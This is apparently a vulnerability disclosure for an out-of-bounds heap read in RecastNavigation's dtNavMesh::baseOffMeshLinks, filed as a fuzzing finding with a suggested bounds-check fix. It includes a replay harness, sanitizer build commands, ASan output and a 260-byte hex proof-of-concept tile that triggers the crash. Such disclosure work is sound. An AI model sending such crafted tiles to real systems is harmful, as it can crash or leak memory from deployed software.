[BUg]dtNavMesh::baseOffMeshLinks out-of-bounds read: unchecked offMeshCon.poly indexes &tile->polys[con->poly] (CWE-125)

Author: 1820893135-pixelCreated Aug 31, 2026Updated Aug 31, 2026

Summary

dtNavMesh::baseOffMeshLinks (called from addTile at DetourNavMesh.cpp:1023) indexes the polygon array with &tile->polys[con->poly] at :575, where con->poly is an attacker-controlled tile-header field never validated against polyCount. A 260-byte tile with polyCount=1 and offMeshCon.poly out of range makes the read land past the heap allocation. ASan reports a heap-buffer-overflow READ. This is the most frequent finding of the family — 25 of 72 crash samples share this root cause.

  • Affected versions: RecastNavigation master 9f4ce64458dfae86e1239c525ddc219c4e9e06f1 (all releases to date)
  • Severity: High
  • CWE: CWE-125 (Out-of-bounds Read)

Detail

Affected code

cpp
void dtNavMesh::baseOffMeshLinks(dtMeshTile* tile)
{
    ...
    for (int i = 0; i < tile->header->offMeshConCount; ++i)
    {
        dtOffMeshConnection* con = &tile->offMeshCons[i];
        dtPoly* poly = &tile->polys[con->poly];   /* line 575: READ — con->poly never validated against polyCount */
        ...

Root cause: baseOffMeshLinks trusts con->poly as a valid index into tile->polys. The header offMeshConCount and each con->poly come verbatim from the untrusted tile data. No < polyCount bound is applied, so an out-of-range con->poly (or a truncated tile whose polys array lies past the input) produces an out-of-bounds dtPoly* that is dereferenced immediately.

Build the reproducer

  1. Clone RecastNavigation and check out the affected commit:
bash
git clone https://github.com/recastnavigation/recastnavigation.git
cd recastnavigation
git checkout 9f4ce64458dfae86e1239c525ddc219c4e9e06f1
  1. Save this standalone replay driver as dbg_addtile.cpp (calls the public dtNavMesh::addTile API on every file argument):
cpp
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <vector>
#include "DetourNavMesh.h"

int main(int argc, char** argv) {
    for (int i = 1; i < argc; ++i) {
        FILE* f = fopen(argv[i], "rb");
        if (!f) return 2;
        fseek(f, 0, SEEK_END); long n = ftell(f); rewind(f);
        std::vector<unsigned char> buf((size_t)n);
        fread(buf.data(), 1, (size_t)n, f);
        fclose(f);
        dtNavMesh mesh;
        dtNavMeshParams params;
        memset(&params, 0, sizeof(params));
        params.tileWidth = 1.0f; params.tileHeight = 1.0f;
        params.maxTiles = 8; params.maxPolys = 64;
        dtStatus is = mesh.init(&params);
        printf("=== %s (%ld B) init=%08x ", argv[i], n, is);
        unsigned char* b = (unsigned char*)malloc(n);
        memcpy(b, buf.data(), n);
        dtTileRef result = 0;
        dtStatus st = mesh.addTile(b, (int)n, 0, 0, &result);
        printf("addTile=%08x result=%08x\n", st, result);
        free(b);
    }
    return 0;
}
  1. Compile with ASan + UBSan (dbg_addtile):
bash
clang++ -std=c++11 -fno-rtti -fno-exceptions -fsanitize=address,undefined -g \
  -I Detour/Include dbg_addtile.cpp \
  Detour/Source/DetourAlloc.cpp Detour/Source/DetourAssert.cpp \
  Detour/Source/DetourCommon.cpp Detour/Source/DetourNavMesh.cpp \
  Detour/Source/DetourNavMeshBuilder.cpp Detour/Source/DetourNavMeshQuery.cpp \
  Detour/Source/DetourNode.cpp -o dbg_addtile

For a pure-UBSan report of the UB findings, build a second binary without ASan and with the trap flags:

bash
clang++ -std=c++11 -fno-rtti -fno-exceptions -fsanitize=undefined -fno-sanitize-recover=all -g \
  -I Detour/Include dbg_addtile.cpp \
  Detour/Source/DetourAlloc.cpp Detour/Source/DetourAssert.cpp \
  Detour/Source/DetourCommon.cpp Detour/Source/DetourNavMesh.cpp \
  Detour/Source/DetourNavMeshBuilder.cpp Detour/Source/DetourNode.cpp \
  -o dbg_addtile_ubonly

POC (tested on the unmodified source)

Save the 260-byte POC:

bash
python3 -c "open('poc.bin','wb').write(bytes.fromhex('56414e440700000000000000000000000000000000000000010000000300000001000000590000000000000001000000020000000100000001000000000000409a99193f6666663f0000000000000000000000000000f0410000f0410000f0410000a0400000000000000400000000000000803f000000000000000000000000000000000000803f00000000000001000200ffffffffffff0000000000000000000000000100030000000000000000000000000000000000000000000001000000000200000000000000ffffffffffff000000000000000000000000000000ff00ffffffcdcccc3d00000000cdcccc3dcdcc4c3e00000000cdcc4c3e0000803f00000000'))"

Run:

bash
./dbg_addtile poc.bin

Trigger result

Verified on the unmodified source (AddressSanitizer):

==3111071==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6120000006e0 at pc 0x563744cc8347 bp 0x7ffd17fc4770 sp 0x7ffd17fc4768
    #0 0x563744cc8346 in dtNavMesh::baseOffMeshLinks(dtMeshTile*) .../Detour/Source/DetourNavMesh.cpp:575:36
    #1 0x563744cc2271 in dtNavMesh::addTile(unsigned char*, int, int, unsigned int, unsigned int*) .../Detour/Source/DetourNavMesh.cpp:1023:2
    #2 0x563744caab4d in main .../dbg_addtile.cpp:25:28

SUMMARY: AddressSanitizer: heap-buffer-overflow .../Detour/Source/DetourNavMesh.cpp:575:36 in dtNavMesh::baseOffMeshLinks(dtMeshTile*)
  • Replay exit code: 1 (abort/trap)
  • Deterministic: yes — 25 crash sample(s) (id:000005, id:000006, id:000007, id:000008, id:000009, ...) all reproduce the same root cause
ImageImage

Suggested fix

Validate con->poly against the tile polygon count before use:

cpp
if (con->poly < 0 || con->poly >= tile->header->polyCount)
    continue;
dtPoly* poly = &tile->polys[con->poly];

Source: recastnavigation/recastnavigation